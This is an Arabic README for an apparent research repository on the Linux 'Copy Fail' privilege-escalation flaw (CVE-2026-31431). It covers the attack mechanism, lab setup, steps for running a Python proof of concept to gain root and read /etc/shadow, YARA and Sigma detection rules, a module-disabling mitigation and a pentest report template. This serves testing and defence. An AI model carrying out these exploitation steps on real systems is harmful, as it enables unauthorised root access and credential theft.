مستخدم غير مميز  ──►  AF_ALG + splice()  ──►  كتابة 4 بايت في ذاكرة التخزين المؤقت للصفحات  ──►  الجذر (ROOT)

AF_ALG (واجهة برمجة تطبيقات التشفير في مساحة المستخدم)
└── وحدة algif_aead
    └── قالب authencesn  ◄── ضعيف
        └── تحسين موضعي (2017)
            └── req->src == req->dst  ◄── صفحات من splice() مرتبطة بقائمة تشتت قابلة للكتابة لـ dst

الخطوة 1: فتح مقبس AF_ALG AEAD
        socket(AF_ALG, SOCK_SEQPACKET, 0)

الخطوة 2: إرسال صفحات splice() تشير إلى الملف الهدف
        (صفحات ذاكرة التخزين المؤقت لملف مميز، مثل /usr/bin/sudo)

الخطوة 3: تشغيل الكتابة الخدشية authencesn
        يستخدم authencesn مخزن dst المؤقت كلوحة خدش →
        يكتب 4 بايت مسيطر عليها بعد منطقة الإخراج الشرعية

الخطوة 4: إدخال ذاكرة التخزين المؤقت للصفحات للملف الهدف أصبح فاسدًا الآن
        (ملف القرص لم يمس — فقط النسخة في الذاكرة تم تعديلها)

الخطوة 5: تنفيذ الملف المعدل → الجذر (ROOT)

# التصحيح في الالتزام: a664bf3d603d
git show a664bf3d603d

CVE-2026-31431-CopyFail/
│
├── 📄 README.md                          ← أنت هنا
├── 📄 LICENSE                            ← رخصة بحثية/تعليمية
├── 📄 DISCLAIMER.md                      ← سياسة الاستخدام القانوني والأخلاقي
├── 📄 CHANGELOG.md                       ← تاريخ الإصدارات
│
├── 📂 docs/
│   ├── vulnerability-analysis.md         ← تحليل متعمق: السبب الجذري والآليات
│   ├── exploitation-walkthrough.md       ← منهجية خطوة بخطوة
│   ├── affected-kernels.md               ← مصفوفة إصدارات النواة/التوزيعة الكاملة
│   ├── detection.md                      ← تغطية المدافع، Tenable، Wazuh
│   └── references.md                     ← جميع CVEs، المدونات، الاستشارات
│
├── 📂 exploit/
│   ├── README.md                         ← الاستخدام، المتطلبات الأساسية، التوزيعات المختبرة
│   ├── copyfail.py                       ← إثبات المفهوم المرجعي (تعليمي)
│   ├── trigger.c                         ← مشغل C لـ AF_ALG + splice()
│   └── variants/
│       ├── ubuntu.py                     ← متغير خاص بـ Ubuntu
│       ├── rhel.py                       ← متغير خاص بـ RHEL/CentOS
│       └── amazon_linux.py              ← متغير خاص بـ Amazon Linux
│
├── 📂 detection/
│   ├── yara/
│   │   └── copyfail.yar                  ← قاعدة YARA لآثار الاستغلال
│   ├── sigma/
│   │   └── copyfail_lpe.yml              ← قاعدة Sigma لنظام SIEM/SOC
│   └── scripts/
│       ├── check_vulnerable.sh           ← فحص سريع لضعف النواة
│       └── detect_algif_aead.sh         ← التحقق من تحميل/نشاط الوحدة
│
├── 📂 mitigation/
│   ├── README.md                         ← نظرة عامة على التخفيف
│   ├── disable_algif_aead.sh             ← تعطيل وحدة النواة المتأثرة
│   ├── patch-notes.md                    ← تفاصيل التصحيح من المنبع
│   └── kubernetes-hardening.md          ← تحصين K8s / الحاويات
│
├── 📂 lab/
│   ├── Vagrantfile                       ← آلة افتراضية ضعيفة قابلة لإعادة الإنتاج
│   ├── setup.sh                          ← سكريبت بدء المختبر
│   └── docker/
│       └── Dockerfile                    ← حاوية Ubuntu ضعيفة
│
├── 📂 reports/
│   ├── pentest-report-template.md        ← قالب تقرير جاهز للعميل
│   └── sample-finding.md                ← نموذج كتابة اكتشاف
│
└── 📂 assets/
    ├── demo.gif                          ← (اختياري) عرض توضيحي للمحطة الطرفية
    └── diagrams/
        └── page-cache-write.png         ← مخطط تدفق الهجوم

# استنساخ المستودع
git clone https://github.com/0xFuffM3/CVE-2026-31431-CopyFail.git
cd CVE-2026-31431-CopyFail

# تشغيل الآلة الافتراضية للمختبر الضعيف
cd lab/
vagrant up

# SSH إلى المختبر
vagrant ssh

# التحقق من إصدار النواة (يجب أن يكون ضعيفًا)
uname -r

cd lab/docker/

# بناء صورة الحاوية الضعيفة
docker build -t copyfail-lab .

# التشغيل بالامتيازات المطلوبة للتفاعل مع النواة
docker run --rm -it --privileged copyfail-lab /bin/bash

# تشغيل سكريبت الفحص السريع
chmod +x detection/scripts/check_vulnerable.sh
./detection/scripts/check_vulnerable.sh

[!] إصدار النواة: 5.15.0-91-generic
[!] وحدة algif_aead: محملة
[✗] يبدو النظام ضعيفًا أمام CVE-2026-31431 (Copy Fail)
[*] الإجراء الموصى به: تطبيق تحديث النواة أو تعطيل algif_aead

[✓] إصدار النواة: 6.1.132
[✓] يبدو النظام مصححًا ضد CVE-2026-31431 (Copy Fail)

# Python 3.6+
python3 --version

# وجود وحدات النواة المطلوبة
lsmod | grep algif_aead

# التحقق من أن الملف الثنائي الهدف قابل للقراءة
ls -la /usr/bin/sudo

cd exploit/

# التحقق من مستوى الامتياز الحالي
id
# uid=1000(user) gid=1000(user) groups=1000(user)

# تشغيل إثبات المفهوم Copy Fail
python3 copyfail.py

# التحقق من تصعيد الامتياز
id
# uid=0(root) gid=0(root) groups=0(root)

1. تعداد إصدار النواة
   └─► uname -r / cat /proc/version

2. التحقق من تحميل algif_aead
   └─► lsmod | grep algif_aead

3. تأكيد وجود موطئ قدم منخفض الامتياز
   └─► id / whoami

4. تنفيذ إثبات المفهوم Copy Fail
   └─► python3 exploit/copyfail.py

5. التحقق من وصول الجذر
   └─► id && cat /etc/shadow

6. توثيق الأدلة
   └─► لقطة شاشة + تسجيل إصدار النواة، التوزيعة، تجزئة الاستغلال

7. تطبيق التخفيف (بعد الاختبار)
   └─► sudo bash mitigation/disable_algif_aead.sh

8. إدراج في تقرير اختبار الاختراق
   └─► استخدم reports/pentest-report-template.md

// detection/yara/copyfail.yar
rule CopyFail_CVE_2026_31431 {
    meta:
        description = "Detects Copy Fail (CVE-2026-31431) exploit artefacts"
        author      = "0xFuffM3"
        date        = "2026-04-30"
        reference   = "https://copy.fail"
    strings:
        $py1 = "algif_aead" ascii
        $py2 = "AF_ALG" ascii
        $py3 = "splice" ascii
        $py4 = "page_cache" ascii
        $py5 = "authencesn" ascii
    condition:
        3 of them
}

yara detection/yara/copyfail.yar /tmp/ -r

# detection/sigma/copyfail_lpe.yml
title: Copy Fail LPE Exploit Execution (CVE-2026-31431)
status: stable
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        CommandLine|contains:
            - 'AF_ALG'
            - 'algif_aead'
            - 'authencesn'
    condition: selection
falsepositives:
    - Legitimate crypto API testing
level: high

chmod +x detection/scripts/detect_algif_aead.sh
./detection/scripts/detect_algif_aead.sh

# Ubuntu / Debian
sudo apt-get update && sudo apt-get upgrade linux-image-generic

# RHEL / CentOS
sudo yum update kernel

# Amazon Linux
sudo yum update kernel

# بعد التحديث، أعد التشغيل
sudo reboot

# تشغيل سكريبت التخفيف
chmod +x mitigation/disable_algif_aead.sh
sudo bash mitigation/disable_algif_aead.sh

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || echo "[*] الوحدة غير محملة حاليًا"
echo "[✓] تم تعطيل algif_aead. أعد التشغيل لتأكيد الثبات."

الاكتشاف:    تصعيد امتيازات محلي عبر Copy Fail (CVE-2026-31431)
الخطورة:    عالي (CVSS 7.8)
المضيف:     10.10.10.55 (ubuntu-prod-01)
النواة:     5.15.0-91-generic

الأدلة:
  - تصعيد من شل غير مميز (uid=1000) إلى الجذر (uid=0)
  - تأكيد تحميل وحدة النواة algif_aead
  - لا آثار على القرص — فقط ذاكرة التخزين المؤقت للصفحات

التوصية:
  1. تطبيق تصحيح النواة من البائع فورًا
  2. مؤقتًا: تعطيل وحدة algif_aead
  3. مراجعة عقد Kubernetes وسير عمل CI/CD